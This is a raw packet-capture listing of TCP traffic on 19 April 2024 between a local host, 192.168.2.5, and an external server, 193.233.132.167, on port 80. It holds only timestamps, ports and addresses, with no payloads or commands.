Apr 19, 2024 03:29:13.487349987 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487374067 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487385988 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487416983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487437963 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487457037 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487472057 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487498045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487507105 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487535954 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487555027 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487574100 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487615108 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487622023 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487622976 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487653017 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487658024 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487690926 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487701893 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487729073 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487742901 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487771034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487787008 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487809896 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487828970 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487849951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487864017 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487899065 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487904072 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487936974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487951994 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.487977028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.487989902 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488022089 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488029003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488059998 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488070965 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488111973 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488127947 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488173008 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488179922 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488210917 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488221884 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488249063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488259077 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488290071 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488301992 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488328934 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488341093 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488368034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488379002 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488406897 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488420010 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488445997 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488456011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488486052 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488495111 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488524914 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488537073 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488563061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488571882 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488601923 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488611937 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488641977 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488648891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488682985 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488692999 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488729954 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488744020 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488771915 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488776922 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488811016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488826036 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488850117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488861084 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488888979 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488894939 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488928080 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488939047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.488965988 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.488975048 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489005089 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489016056 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489044905 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489052057 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489068031 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489085913 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489094019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489104986 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489115953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489125967 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489135981 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489145994 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489155054 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489166975 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489175081 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489185095 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489193916 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489203930 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489214897 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489232063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489243031 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489243031 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489249945 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489269018 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489278078 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489289045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489298105 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489310026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489316940 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489336967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489337921 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489353895 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489356995 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489377022 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489377975 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489396095 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489398003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489414930 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489414930 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489434958 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489434958 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489454985 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489456892 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489474058 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489476919 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489495993 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489495993 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489516020 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489516020 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489536047 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489541054 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489557028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489558935 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489578009 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489578009 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489597082 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489608049 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489618063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489634037 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489634037 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489635944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489655972 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489656925 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489671946 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489674091 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489694118 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489702940 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489712000 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489732027 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489751101 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489757061 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489757061 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489757061 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489768982 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489789009 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489789009 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489790916 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489808083 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489809990 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489830017 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489830971 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489849091 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489850998 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489867926 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489869118 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489886045 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489887953 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489907026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489907980 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489927053 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489928007 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489948034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489949942 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489967108 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.489969015 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489986897 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.489988089 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490008116 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490010977 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490026951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490027905 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490046978 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490047932 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490067959 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490077972 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490087986 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490099907 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490108967 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490118980 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490129948 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490139008 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490149021 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490158081 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490168095 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490184069 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490184069 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490187883 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490206957 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490207911 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490222931 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490227938 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490246058 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490247011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490263939 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490267038 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490283012 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490283966 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490300894 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490300894 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490320921 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490322113 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490339994 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490341902 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490359068 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490366936 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490377903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490394115 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490394115 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490396976 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490412951 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490416050 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490434885 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490437031 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490453959 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490453959 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490473032 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490473986 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490490913 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490492105 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490511894 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490513086 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490530968 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490531921 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490550041 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490554094 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490569115 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490575075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490587950 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490595102 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490608931 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490614891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490627050 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490633011 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490647078 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490653038 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490667105 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490669012 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490685940 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490685940 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490705013 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490709066 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490729094 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490735054 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490746975 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490753889 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490766048 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490772963 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490784883 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490792036 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490804911 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490812063 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490824938 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490832090 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490844965 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490852118 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490864992 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490870953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490884066 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490890026 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490905046 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490907907 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490923882 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490931988 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490942955 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490959883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490959883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490962982 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.490982056 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.490984917 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491002083 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491007090 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491027117 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491028070 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491046906 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491046906 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491066933 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491087914 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491087914 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491089106 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491106987 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491107941 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491126060 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491127014 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491146088 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491146088 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491163969 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491166115 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491184950 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491203070 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491205931 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491205931 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491223097 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491230965 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491242886 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491250992 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491262913 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491270065 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491281986 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491288900 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491302013 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491308928 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491321087 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491327047 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491341114 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491344929 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491365910 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491367102 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491386890 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491388083 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491405964 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491409063 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491427898 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491430044 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491447926 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491449118 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491465092 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491467953 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491487026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491487980 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491506100 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:13.491507053 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:13.491525888 CEST	49720	80	192.168.2.5	193.233.132.167
